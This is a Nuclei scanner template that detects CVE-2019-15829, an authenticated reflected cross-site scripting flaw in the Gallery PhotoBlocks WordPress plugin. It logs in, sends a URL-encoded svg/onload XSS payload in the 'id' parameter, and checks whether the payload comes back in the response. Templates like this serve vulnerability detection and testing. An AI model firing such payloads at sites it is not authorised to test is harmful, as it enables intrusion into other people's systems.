38 lines
1.1 KiB
YAML
38 lines
1.1 KiB
YAML
|
id: CVE-2019-15829
|
||
|
|
||
|
info:
|
||
|
name: Gallery Photoblocks < 1.1.43 - Cross-Site Scripting
|
||
|
author: r3Y3r53
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/9443
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-15829
|
||
|
metadata:
|
||
|
max-request: 2
|
||
|
verified: true
|
||
|
tags: cve,cve2023,wp,wordpress,wp-plugin,photoblocks-gallery,xss,authenticated
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'status_code_2 == 200'
|
||
|
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
|
||
|
- 'contains(body_2, "post galleries!")'
|
||
|
condition: and
|